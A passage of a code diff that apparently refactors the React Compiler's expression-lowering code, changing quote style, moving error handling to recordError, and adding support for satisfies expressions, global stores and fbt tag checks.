-          kind: "StoreLocal",
-          lvalue: { kind: InstructionKind.Const, place: { ...place } },
+          kind: 'StoreLocal',
+          lvalue: {kind: InstructionKind.Const, place: {...place}},
           value: alternate,
           type: null,
           loc: exprLoc,
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
@@ -1784,65 +1970,66 @@ function lowerExpression(
 
       builder.terminateWithContinuation(
         {
-          kind: "ternary",
+          kind: 'ternary',
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           test: testBlock.id,
           loc: exprLoc,
         },
-        testBlock
+        testBlock,
       );
-      const testPlace = lowerExpressionToTemporary(builder, expr.get("test"));
+      const testPlace = lowerExpressionToTemporary(builder, expr.get('test'));
       builder.terminateWithContinuation(
         {
-          kind: "branch",
-          test: { ...testPlace },
+          kind: 'branch',
+          test: {...testPlace},
           consequent: consequentBlock,
           alternate: alternateBlock,
+          fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc: exprLoc,
         },
-        continuationBlock
+        continuationBlock,
       );
-      return { kind: "LoadLocal", place, loc: place.loc };
+      return {kind: 'LoadLocal', place, loc: place.loc};
     }
-    case "LogicalExpression": {
+    case 'LogicalExpression': {
       const expr = exprPath as NodePath<t.LogicalExpression>;
       const exprLoc = expr.node.loc ?? GeneratedSource;
       const continuationBlock = builder.reserve(builder.currentBlockKind());
-      const testBlock = builder.reserve("value");
+      const testBlock = builder.reserve('value');
       const place = buildTemporaryPlace(builder, exprLoc);
       const leftPlace = buildTemporaryPlace(
         builder,
-        expr.get("left").node.loc ?? GeneratedSource
+        expr.get('left').node.loc ?? GeneratedSource,
       );
-      const consequent = builder.enter("value", () => {
+      const consequent = builder.enter('value', () => {
         lowerValueToTemporary(builder, {
-          kind: "StoreLocal",
-          lvalue: { kind: InstructionKind.Const, place: { ...place } },
-          value: { ...leftPlace },
+          kind: 'StoreLocal',
+          lvalue: {kind: InstructionKind.Const, place: {...place}},
+          value: {...leftPlace},
           type: null,
           loc: leftPlace.loc,
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
           loc: leftPlace.loc,
         };
       });
-      const alternate = builder.enter("value", () => {
-        const right = lowerExpressionToTemporary(builder, expr.get("right"));
+      const alternate = builder.enter('value', () => {
+        const right = lowerExpressionToTemporary(builder, expr.get('right'));
         lowerValueToTemporary(builder, {
-          kind: "StoreLocal",
-          lvalue: { kind: InstructionKind.Const, place: { ...place } },
-          value: { ...right },
+          kind: 'StoreLocal',
+          lvalue: {kind: InstructionKind.Const, place: {...place}},
+          value: {...right},
           type: null,
           loc: right.loc,
         });
         return {
-          kind: "goto",
+          kind: 'goto',
           block: continuationBlock.id,
           variant: GotoVariant.Break,
           id: makeInstructionId(0),
@@ -1851,579 +2038,708 @@ function lowerExpression(
       });
       builder.terminateWithContinuation(
         {
-          kind: "logical",
+          kind: 'logical',
           fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           test: testBlock.id,
           operator: expr.node.operator,
           loc: exprLoc,
         },
-        testBlock
+        testBlock,
       );
-      const leftValue = lowerExpressionToTemporary(builder, expr.get("left"));
+      const leftValue = lowerExpressionToTemporary(builder, expr.get('left'));
       builder.push({
         id: makeInstructionId(0),
-        lvalue: { ...leftPlace },
+        lvalue: {...leftPlace},
         value: {
-          kind: "LoadLocal",
+          kind: 'LoadLocal',
           place: leftValue,
           loc: exprLoc,
         },
+        effects: null,
         loc: exprLoc,
       });
       builder.terminateWithContinuation(
         {
-          kind: "branch",
-          test: { ...leftPlace },
+          kind: 'branch',
+          test: {...leftPlace},
           consequent,
           alternate,
+          fallthrough: continuationBlock.id,
           id: makeInstructionId(0),
           loc: exprLoc,
         },
-        continuationBlock
+        continuationBlock,
       );
-      return { kind: "LoadLocal", place, loc: place.loc };
+      return {kind: 'LoadLocal', place, loc: place.loc};
     }
-    case "AssignmentExpression": {
+    case 'AssignmentExpression': {
       const expr = exprPath as NodePath<t.AssignmentExpression>;
       const operator = expr.node.operator;
 
-      if (operator === "=") {
-        const left = expr.get("left");
-        return lowerAssignment(
-          builder,
-          left.node.loc ?? GeneratedSource,
-          InstructionKind.Reassign,
-          left,
-          lowerExpressionToTemporary(builder, expr.get("right")),
-          left.isArrayPattern() || left.isObjectPattern()
-            ? "Destructure"
-            : "Assignment"
-        );
-      }
-
-      const operators: {
-        [key: string]: Exclude<t.BinaryExpression["operator"], "|>">;
+      if (operator === '=') {
+        const left = expr.get('left');
+        if (left.isLVal()) {
+          return lowerAssignment(
+            builder,
+            left.node.loc ?? GeneratedSource,
+            InstructionKind.Reassign,
+            left,
+            lowerExpressionToTemporary(builder, expr.get('right')),
+            left.isArrayPattern() || left.isObjectPattern()
+              ? 'Destructure'
+              : 'Assignment',
+          );
+        } else {
+          /**
+           * OptionalMemberExpressions as the left side of an AssignmentExpression are Stage 1 and
+           * not supported by React Compiler yet.
+           */
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerExpression) Unsupported syntax on the left side of an AssignmentExpression`,
+              description: `Expected an LVal, got: ${left.type}`,
+              category: ErrorCategory.Todo,
+              loc: left.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
+          return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
+        }
+      }
+
+      const operators: {
+        [key: string]: Exclude<t.BinaryExpression['operator'], '|>'>;
       } = {
-        "+=": "+",
-        "-=": "-",
-        "/=": "/",
-        "%=": "%",
-        "*=": "*",
-        "**=": "**",
-        "&=": "&",
-        "|=": "|",
-        ">>=": ">>",
-        ">>>=": ">>>",
-        "<<=": "<<",
-        "^=": "^",
+        '+=': '+',
+        '-=': '-',
+        '/=': '/',
+        '%=': '%',
+        '*=': '*',
+        '**=': '**',
+        '&=': '&',
+        '|=': '|',
+        '>>=': '>>',
+        '>>>=': '>>>',
+        '<<=': '<<',
+        '^=': '^',
       };
       const binaryOperator = operators[operator];
       if (binaryOperator == null) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerExpression) Handle ${operator} operators in AssignmentExpression`,
-          severity: ErrorSeverity.Todo,
-          loc: expr.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerExpression) Handle ${operator} operators in AssignmentExpression`,
+            category: ErrorCategory.Todo,
+            loc: expr.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
-      const left = expr.get("left");
+      const left = expr.get('left');
       const leftNode = left.node;
       switch (leftNode.type) {
-        case "Identifier": {
+        case 'Identifier': {
           const leftExpr = left as NodePath<t.Identifier>;
-          const identifier = lowerIdentifier(builder, leftExpr);
           const leftPlace = lowerExpressionToTemporary(builder, leftExpr);
-          const right = lowerExpressionToTemporary(builder, expr.get("right"));
+          const right = lowerExpressionToTemporary(builder, expr.get('right'));
           const binaryPlace = lowerValueToTemporary(builder, {
-            kind: "BinaryExpression",
+            kind: 'BinaryExpression',
             operator: binaryOperator,
             left: leftPlace,
             right,
             loc: exprLoc,
           });
-          const kind = getStoreKind(builder, leftExpr);
-          if (kind === "StoreLocal") {
-            lowerValueToTemporary(builder, {
-              kind: "StoreLocal",
-              lvalue: {
-                place: { ...identifier },
-                kind: InstructionKind.Reassign,
-              },
-              value: { ...binaryPlace },
-              type: null,
-              loc: exprLoc,
-            });
-            return { kind: "LoadLocal", place: identifier, loc: exprLoc };
+          const binding = builder.resolveIdentifier(leftExpr);
+          if (binding.kind === 'Identifier') {
+            const identifier = lowerIdentifier(builder, leftExpr);
+            const kind = getStoreKind(builder, leftExpr);
+            if (kind === 'StoreLocal') {
+              lowerValueToTemporary(builder, {
+                kind: 'StoreLocal',
+                lvalue: {
+                  place: {...identifier},
+                  kind: InstructionKind.Reassign,
+                },
+                value: {...binaryPlace},
+                type: null,
+                loc: exprLoc,
+              });
+              return {kind: 'LoadLocal', place: identifier, loc: exprLoc};
+            } else {
+              lowerValueToTemporary(builder, {
+                kind: 'StoreContext',
+                lvalue: {
+                  place: {...identifier},
+                  kind: InstructionKind.Reassign,
+                },
+                value: {...binaryPlace},
+                loc: exprLoc,
+              });
+              return {kind: 'LoadContext', place: identifier, loc: exprLoc};
+            }
           } else {
-            lowerValueToTemporary(builder, {
-              kind: "StoreContext",
-              lvalue: {
-                place: { ...identifier },
-                kind: InstructionKind.Reassign,
-              },
-              value: { ...binaryPlace },
+            const temporary = lowerValueToTemporary(builder, {
+              kind: 'StoreGlobal',
+              name: leftExpr.node.name,
+              value: {...binaryPlace},
               loc: exprLoc,
             });
-            return { kind: "LoadContext", place: identifier, loc: exprLoc };
+            return {kind: 'LoadLocal', place: temporary, loc: temporary.loc};
           }
         }
-        case "MemberExpression": {
+        case 'MemberExpression': {
           // a.b.c += <right>
           const leftExpr = left as NodePath<t.MemberExpression>;
-          const { object, property, value } = lowerMemberExpression(
+          const {object, property, value} = lowerMemberExpression(
             builder,
-            leftExpr
+            leftExpr,
           );
 
           // Store the previous value to a temporary
           const previousValuePlace = lowerValueToTemporary(builder, value);
           // Store the new value to a temporary
           const newValuePlace = lowerValueToTemporary(builder, {
-            kind: "BinaryExpression",
+            kind: 'BinaryExpression',
             operator: binaryOperator,
-            left: { ...previousValuePlace },
-            right: lowerExpressionToTemporary(builder, expr.get("right")),
+            left: {...previousValuePlace},
+            right: lowerExpressionToTemporary(builder, expr.get('right')),
             loc: leftExpr.node.loc ?? GeneratedSource,
           });
 
           // Save the result back to the property
-          if (typeof property === "string") {
+          if (typeof property === 'string' || typeof property === 'number') {
             return {
-              kind: "PropertyStore",
-              object: { ...object },
-              property,
-              value: { ...newValuePlace },
+              kind: 'PropertyStore',
+              object: {...object},
+              property: makePropertyLiteral(property),
+              value: {...newValuePlace},
               loc: leftExpr.node.loc ?? GeneratedSource,
             };
           } else {
             return {
-              kind: "ComputedStore",
-              object: { ...object },
-              property: { ...property },
-              value: { ...newValuePlace },
+              kind: 'ComputedStore',
+              object: {...object},
+              property: {...property},
+              value: {...newValuePlace},
               loc: leftExpr.node.loc ?? GeneratedSource,
             };
           }
         }
         default: {
-          builder.errors.push({
-            reason: `(BuildHIR::lowerExpression) Expected Identifier or MemberExpression, got ${expr.type} lval in AssignmentExpression`,
-            severity: ErrorSeverity.Todo,
-            loc: expr.node.loc ?? null,
-            suggestions: null,
-          });
-          return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerExpression) Expected Identifier or MemberExpression, got ${expr.type} lval in AssignmentExpression`,
+              category: ErrorCategory.Todo,
+              loc: expr.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
+          return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
         }
       }
     }
-    case "OptionalMemberExpression": {
+    case 'OptionalMemberExpression': {
       const expr = exprPath as NodePath<t.OptionalMemberExpression>;
-      const { value } = lowerOptionalMemberExpression(builder, expr, null);
-      return { kind: "LoadLocal", place: value, loc: value.loc };
+      const {value} = lowerOptionalMemberExpression(builder, expr, null);
+      return {kind: 'LoadLocal', place: value, loc: value.loc};
     }
-    case "MemberExpression": {
+    case 'MemberExpression': {
       const expr = exprPath as NodePath<
         t.MemberExpression | t.OptionalMemberExpression
       >;
-      const { value } = lowerMemberExpression(builder, expr);
+      const {value} = lowerMemberExpression(builder, expr);
       const place = lowerValueToTemporary(builder, value);
-      return { kind: "LoadLocal", place, loc: place.loc };
+      return {kind: 'LoadLocal', place, loc: place.loc};
     }
-    case "JSXElement": {
+    case 'JSXElement': {
       const expr = exprPath as NodePath<t.JSXElement>;
-      const opening = expr.get("openingElement");
+      const opening = expr.get('openingElement');
       const openingLoc = opening.node.loc ?? GeneratedSource;
-      const tag = lowerJsxElementName(builder, opening.get("name"));
+      const tag = lowerJsxElementName(builder, opening.get('name'));
       const props: Array<JsxAttribute> = [];
-      for (const attribute of opening.get("attributes")) {
+      for (const attribute of opening.get('attributes')) {
         if (attribute.isJSXSpreadAttribute()) {
           const argument = lowerExpressionToTemporary(
             builder,
-            attribute.get("argument")
+            attribute.get('argument'),
           );
-          props.push({ kind: "JsxSpreadAttribute", argument });
+          props.push({kind: 'JsxSpreadAttribute', argument});
           continue;
         }
         if (!attribute.isJSXAttribute()) {
-          builder.errors.push({
-            reason: `(BuildHIR::lowerExpression) Handle ${attribute.type} attributes in JSXElement`,
-            severity: ErrorSeverity.Todo,
-            loc: attribute.node.loc ?? null,
-            suggestions: null,
-          });
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerExpression) Handle ${attribute.type} attributes in JSXElement`,
+              category: ErrorCategory.Todo,
+              loc: attribute.node.loc ?? null,
+              suggestions: null,
+            }),
+          );
           continue;
         }
-        const namePath = attribute.get("name");
+        const namePath = attribute.get('name');
         let propName;
         if (namePath.isJSXIdentifier()) {
           propName = namePath.node.name;
-          if (propName.indexOf(":") !== -1) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerExpression) Unexpected colon in attribute name \`${name}\``,
-              severity: ErrorSeverity.Todo,
-              loc: namePath.node.loc ?? null,
-              suggestions: null,
-            });
+          if (propName.indexOf(':') !== -1) {
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerExpression) Unexpected colon in attribute name \`${propName}\``,
+                category: ErrorCategory.Todo,
+                loc: namePath.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
           }
         } else {
           CompilerError.invariant(namePath.isJSXNamespacedName(), {
-            reason: "Refinement",
-            description: null,
-            loc: namePath.node.loc ?? null,
-            suggestions: null,
+            reason: 'Refinement',
+            loc: namePath.node.loc ?? GeneratedSource,
           });
           const namespace = namePath.node.namespace.name;
           const name = namePath.node.name.name;
           propName = `${namespace}:${name}`;
         }
-        const valueExpr = attribute.get("value");
+        const valueExpr = attribute.get('value');
         let value;
         if (valueExpr.isJSXElement() || valueExpr.isStringLiteral()) {
           value = lowerExpressionToTemporary(builder, valueExpr);
         } else if (valueExpr.type == null) {
           value = lowerValueToTemporary(builder, {
-            kind: "Primitive",
+            kind: 'Primitive',
             value: true,
             loc: attribute.node.loc ?? GeneratedSource,
           });
         } else {
           if (!valueExpr.isJSXExpressionContainer()) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerExpression) Handle ${valueExpr.type} attribute values in JSXElement`,
-              severity: ErrorSeverity.Todo,
-              loc: valueExpr.node?.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerExpression) Handle ${valueExpr.type} attribute values in JSXElement`,
+                category: ErrorCategory.Todo,
+                loc: valueExpr.node?.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
-          const expression = valueExpr.get("expression");
+          const expression = valueExpr.get('expression');
           if (!expression.isExpression()) {
-            builder.errors.push({
-              reason: `(BuildHIR::lowerExpression) Handle ${expression.type} expressions in JSXExpressionContainer within JSXElement`,
-              severity: ErrorSeverity.Todo,
-              loc: valueExpr.node.loc ?? null,
-              suggestions: null,
-            });
+            builder.recordError(
+              new CompilerErrorDetail({
+                reason: `(BuildHIR::lowerExpression) Handle ${expression.type} expressions in JSXExpressionContainer within JSXElement`,
+                category: ErrorCategory.Todo,
+                loc: valueExpr.node.loc ?? null,
+                suggestions: null,
+              }),
+            );
             continue;
           }
           value = lowerExpressionToTemporary(builder, expression);
         }
-        props.push({ kind: "JsxAttribute", name: propName, place: value });
+        props.push({kind: 'JsxAttribute', name: propName, place: value});
       }
-      if (
-        tag.kind === "BuiltinTag" &&
-        (tag.name === "fbt" || tag.name === "fbs")
-      ) {
+
+      const isFbt =
+        tag.kind === 'BuiltinTag' && (tag.name === 'fbt' || tag.name === 'fbs');
+      if (isFbt) {
         const tagName = tag.name;
-        const openingIdentifier = opening.get("name");
+        const openingIdentifier = opening.get('name');
         const tagIdentifier = openingIdentifier.isJSXIdentifier()
           ? builder.resolveIdentifier(openingIdentifier)
           : null;
-        if (tagIdentifier != null && tagIdentifier.kind === "Identifier") {
-          CompilerError.throwTodo({
-            reason: `Support <${tagName}> tags where '${tagName}' is a local variable instead of a global`,
+        if (tagIdentifier != null) {
+          // This is already checked in builder.resolveIdentifier
+          CompilerError.invariant(tagIdentifier.kind !== 'Identifier', {
+            reason: `<${tagName}> tags should be module-level imports`,
             loc: openingIdentifier.node.loc ?? GeneratedSource,
-            description: null,
-            suggestions: null,
           });
         }
-        const fbtEnumLocations: Array<SourceLocation> = [];
+        // see `error.todo-multiple-fbt-plural` fixture for explanation
+        const fbtLocations = {
+          enum: new Array<SourceLocation>(),
+          plural: new Array<SourceLocation>(),
+          pronoun: new Array<SourceLocation>(),
+        };
         expr.traverse({
+          JSXClosingElement(path) {
+            path.skip();
+          },
           JSXNamespacedName(path) {
-            if (
-              path.node.namespace.name === tagName &&
-              path.node.name.name === "enum"
-            ) {
-              fbtEnumLocations.push(path.node.loc ?? GeneratedSource);
+            if (path.node.namespace.name === tagName) {
+              switch (path.node.name.name) {
+                case 'enum':
+                  fbtLocations.enum.push(path.node.loc ?? GeneratedSource);
+                  break;
+                case 'plural':
+                  fbtLocations.plural.push(path.node.loc ?? GeneratedSource);
+                  break;
+                case 'pronoun':
+                  fbtLocations.pronoun.push(path.node.loc ?? GeneratedSource);
+                  break;
+              }
             }
           },
         });
-        if (fbtEnumLocations.length > 1) {
-          CompilerError.throwTodo({
-            reason: `Support <${tagName}> tags with multiple <${tagName}:enum> values`,
-            loc: fbtEnumLocations.at(-1) ?? GeneratedSource,
-            description: null,
-            suggestions: null,
-          });
+        for (const [name, locations] of Object.entries(fbtLocations)) {
+          if (locations.length > 1) {
+            builder.recordError(
+              new CompilerDiagnostic({
+                category: ErrorCategory.Todo,
+                reason: 'Support duplicate fbt tags',
+                description: `Support \`<${tagName}>\` tags with multiple \`<${tagName}:${name}>\` values`,
+                details: locations.map(loc => {
+                  return {
+                    kind: 'error' as const,
+                    message: `Multiple \`<${tagName}:${name}>\` tags found`,
+                    loc,
+                  };
+                }),
+              }),
+            );
+          }
         }
       }
 
-      let children: Array<Place>;
-      if (
-        tag.kind === "BuiltinTag" &&
-        (tag.name === "fbt" || tag.name === "fbs")
-      ) {
-        children = expr
-          .get("children")
-          .map((child) => {
-            if (child.isJSXText()) {
-              /*
-               * FBT whitespace normalization differs from standard JSX:
-               * https://github.com/facebook/fbt/blob/0b4e0d13c30bffd0daa2a75715d606e3587b4e40/packages/babel-plugin-fbt/src/FbtUtil.js#L76-L87
-               */
-              const text = child.node.value.replace(/[^\S\u00A0]+/g, " ");
-              return lowerValueToTemporary(builder, {
-                kind: "JSXText",
-                value: text,
-                loc: child.node.loc ?? GeneratedSource,
-              });
-            }
-            return lowerJsxElement(builder, child);
-          })
-          .filter(notNull);
-      } else {
-        children = expr
-          .get("children")
-          .map((child) => lowerJsxElement(builder, child))
-          .filter(notNull);
-      }
+      /**
+       * Increment fbt counter before traversing into children, as whitespace
+       * in jsx text is handled differently for fbt subtrees.
+       */
+      isFbt && builder.fbtDepth++;
+      const children: Array<Place> = expr
+        .get('children')
+        .map(child => lowerJsxElement(builder, child))
+        .filter(notNull);
+      isFbt && builder.fbtDepth--;
+
       return {
-        kind: "JsxExpression",
+        kind: 'JsxExpression',
         tag,
         props,
         children: children.length === 0 ? null : children,
         loc: exprLoc,
         openingLoc: openingLoc,
-        closingLoc: expr.get("closingElement").node?.loc ?? GeneratedSource,
+        closingLoc: expr.get('closingElement').node?.loc ?? GeneratedSource,
       };
     }
-    case "JSXFragment": {
+    case 'JSXFragment': {
       const expr = exprPath as NodePath<t.JSXFragment>;
       const children: Array<Place> = expr
-        .get("children")
-        .map((child) => lowerJsxElement(builder, child))
+        .get('children')
+        .map(child => lowerJsxElement(builder, child))
         .filter(notNull);
       return {
-        kind: "JsxFragment",
+        kind: 'JsxFragment',
         children,
         loc: exprLoc,
       };
     }
-    case "ArrowFunctionExpression":
-    case "FunctionExpression": {
+    case 'ArrowFunctionExpression':
+    case 'FunctionExpression': {
       const expr = exprPath as NodePath<
         t.FunctionExpression | t.ArrowFunctionExpression
       >;
       return lowerFunctionToValue(builder, expr);
     }
-    case "TaggedTemplateExpression": {
+    case 'TaggedTemplateExpression': {
       const expr = exprPath as NodePath<t.TaggedTemplateExpression>;
-      if (expr.get("quasi").get("expressions").length !== 0) {
-        builder.errors.push({
-          reason:
-            "(BuildHIR::lowerExpression) Handle tagged template with interpolations",
-          severity: ErrorSeverity.Todo,
-          loc: exprPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+      if (expr.get('quasi').get('expressions').length !== 0) {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason:
+              '(BuildHIR::lowerExpression) Handle tagged template with interpolations',
+            category: ErrorCategory.Todo,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
-      CompilerError.invariant(expr.get("quasi").get("quasis").length == 1, {
+      CompilerError.invariant(expr.get('quasi').get('quasis').length == 1, {
         reason:
           "there should be only one quasi as we don't support interpolations yet",
-        description: null,
-        loc: expr.node.loc ?? null,
-        suggestions: null,
+        loc: expr.node.loc ?? GeneratedSource,
       });
-      const value = expr.get("quasi").get("quasis").at(0)!.node.value;
+      const value = expr.get('quasi').get('quasis').at(0)!.node.value;
       if (value.raw !== value.cooked) {
-        builder.errors.push({
-          reason:
-            "(BuildHIR::lowerExpression) Handle tagged template where cooked value is different from raw value",
-          severity: ErrorSeverity.Todo,
-          loc: exprPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason:
+              '(BuildHIR::lowerExpression) Handle tagged template where cooked value is different from raw value',
+            category: ErrorCategory.Todo,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
 
       return {
-        kind: "TaggedTemplateExpression",
-        tag: lowerExpressionToTemporary(builder, expr.get("tag")),
+        kind: 'TaggedTemplateExpression',
+        tag: lowerExpressionToTemporary(builder, expr.get('tag')),
         value,
         loc: exprLoc,
       };
     }
-    case "TemplateLiteral": {
+    case 'TemplateLiteral': {
       const expr = exprPath as NodePath<t.TemplateLiteral>;
-      const subexprs = expr.get("expressions");
-      const quasis = expr.get("quasis");
+      const subexprs = expr.get('expressions');
+      const quasis = expr.get('quasis');
 
       if (subexprs.length !== quasis.length - 1) {
-        builder.errors.push({
-          reason: `Unexpected quasi and subexpression lengths in template literal`,
-          severity: ErrorSeverity.InvalidJS,
-          loc: exprPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `Unexpected quasi and subexpression lengths in template literal`,
+            category: ErrorCategory.Syntax,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
 
-      if (subexprs.some((e) => !e.isExpression())) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerAssignment) Handle TSType in TemplateLiteral.`,
-          severity: ErrorSeverity.Todo,
-          loc: exprPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+      if (subexprs.some(e => !e.isExpression())) {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerAssignment) Handle TSType in TemplateLiteral.`,
+            category: ErrorCategory.Todo,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
 
-      const subexprPlaces = subexprs.map((e) =>
-        lowerExpressionToTemporary(builder, e as NodePath<t.Expression>)
+      const subexprPlaces = subexprs.map(e =>
+        lowerExpressionToTemporary(builder, e as NodePath<t.Expression>),
       );
 
       return {
-        kind: "TemplateLiteral",
+        kind: 'TemplateLiteral',
         subexprs: subexprPlaces,
-        quasis: expr.get("quasis").map((q) => q.node.value),
+        quasis: expr.get('quasis').map(q => q.node.value),
         loc: exprLoc,
       };
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       let expr = exprPath as NodePath<t.UnaryExpression>;
-      if (expr.node.operator === "delete") {
-        const argument = expr.get("argument");
+      if (expr.node.operator === 'delete') {
+        const argument = expr.get('argument');
         if (argument.isMemberExpression()) {
-          const { object, property } = lowerMemberExpression(builder, argument);
-          if (typeof property === "string") {
+          const {object, property} = lowerMemberExpression(builder, argument);
+          if (typeof property === 'string' || typeof property === 'number') {
             return {
-              kind: "PropertyDelete",
+              kind: 'PropertyDelete',
               object,
-              property,
+              property: makePropertyLiteral(property),
               loc: exprLoc,
             };
           } else {
             return {
-              kind: "ComputedDelete",
+              kind: 'ComputedDelete',
               object,
               property,
               loc: exprLoc,
             };
           }
         } else {
-          builder.errors.push({
-            reason: `Only object properties can be deleted`,
-            severity: ErrorSeverity.InvalidJS,
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `Only object properties can be deleted`,
+              category: ErrorCategory.Syntax,
+              loc: expr.node.loc ?? null,
+              suggestions: [
+                {
+                  description: 'Remove this line',
+                  range: [expr.node.start!, expr.node.end!],
+                  op: CompilerSuggestionOperation.Remove,
+                },
+              ],
+            }),
+          );
+          return {kind: 'UnsupportedNode', node: expr.node, loc: exprLoc};
+        }
+      } else if (expr.node.operator === 'throw') {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `Throw expressions are not supported`,
+            category: ErrorCategory.Syntax,
             loc: expr.node.loc ?? null,
             suggestions: [
               {
-                description: "Remove this line",
+                description: 'Remove this line',
                 range: [expr.node.start!, expr.node.end!],
                 op: CompilerSuggestionOperation.Remove,
               },
             ],
-          });
-          return { kind: "UnsupportedNode", node: expr.node, loc: exprLoc };
-        }
-      } else if (expr.node.operator === "throw") {
-        builder.errors.push({
-          reason: `Throw expressions are not supported`,
-          severity: ErrorSeverity.InvalidJS,
-          loc: expr.node.loc ?? null,
-          suggestions: [
-            {
-              description: "Remove this line",
-              range: [expr.node.start!, expr.node.end!],
-              op: CompilerSuggestionOperation.Remove,
-            },
-          ],
-        });
-        return { kind: "UnsupportedNode", node: expr.node, loc: exprLoc };
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: expr.node, loc: exprLoc};
       } else {
         return {
-          kind: "UnaryExpression",
+          kind: 'UnaryExpression',
           operator: expr.node.operator,
-          value: lowerExpressionToTemporary(builder, expr.get("argument")),
+          value: lowerExpressionToTemporary(builder, expr.get('argument')),
           loc: exprLoc,
         };
       }
     }
-    case "AwaitExpression": {
+    case 'AwaitExpression': {
       let expr = exprPath as NodePath<t.AwaitExpression>;
       return {
-        kind: "Await",
-        value: lowerExpressionToTemporary(builder, expr.get("argument")),
+        kind: 'Await',
+        value: lowerExpressionToTemporary(builder, expr.get('argument')),
         loc: exprLoc,
       };
     }
-    case "TypeCastExpression": {
+    case 'TypeCastExpression': {
       let expr = exprPath as NodePath<t.TypeCastExpression>;
-      const typeAnnotation = expr.get("typeAnnotation").get("typeAnnotation");
+      const typeAnnotation = expr.get('typeAnnotation').get('typeAnnotation');
+      return {
+        kind: 'TypeCastExpression',
+        value: lowerExpressionToTemporary(builder, expr.get('expression')),
+        typeAnnotation: typeAnnotation.node,
+        typeAnnotationKind: 'cast',
+        type: lowerType(typeAnnotation.node),
+        loc: exprLoc,
+      };
+    }
+    case 'TSSatisfiesExpression': {
+      let expr = exprPath as NodePath<t.TSSatisfiesExpression>;
+      const typeAnnotation = expr.get('typeAnnotation');
       return {
-        kind: "TypeCastExpression",
-        value: lowerExpressionToTemporary(builder, expr.get("expression")),
+        kind: 'TypeCastExpression',
+        value: lowerExpressionToTemporary(builder, expr.get('expression')),
         typeAnnotation: typeAnnotation.node,
+        typeAnnotationKind: 'satisfies',
         type: lowerType(typeAnnotation.node),
         loc: exprLoc,
       };
     }
-    case "TSAsExpression": {
+    case 'TSAsExpression': {
       let expr = exprPath as NodePath<t.TSAsExpression>;
-      const typeAnnotation = expr.get("typeAnnotation");
+      const typeAnnotation = expr.get('typeAnnotation');
       return {
-        kind: "TypeCastExpression",
-        value: lowerExpressionToTemporary(builder, expr.get("expression")),
+        kind: 'TypeCastExpression',
+        value: lowerExpressionToTemporary(builder, expr.get('expression')),
         typeAnnotation: typeAnnotation.node,
+        typeAnnotationKind: 'as',
         type: lowerType(typeAnnotation.node),
         loc: exprLoc,
       };
     }
-    case "UpdateExpression": {
+    case 'UpdateExpression': {
       let expr = exprPath as NodePath<t.UpdateExpression>;
-      const argument = expr.get("argument");
-      if (!argument.isIdentifier()) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerExpression) Handle UpdateExpression with ${argument.type} argument`,
-          severity: ErrorSeverity.Todo,
-          loc: exprPath.node.loc ?? null,
-          suggestions: null,
+      const argument = expr.get('argument');
+      if (argument.isMemberExpression()) {
+        const binaryOperator = expr.node.operator === '++' ? '+' : '-';
+        const leftExpr = argument as NodePath<t.MemberExpression>;
+        const {object, property, value} = lowerMemberExpression(
+          builder,
+          leftExpr,
+        );
+
+        // Store the previous value to a temporary
+        const previousValuePlace = lowerValueToTemporary(builder, value);
+        // Store the new value to a temporary
+        const updatedValue = lowerValueToTemporary(builder, {
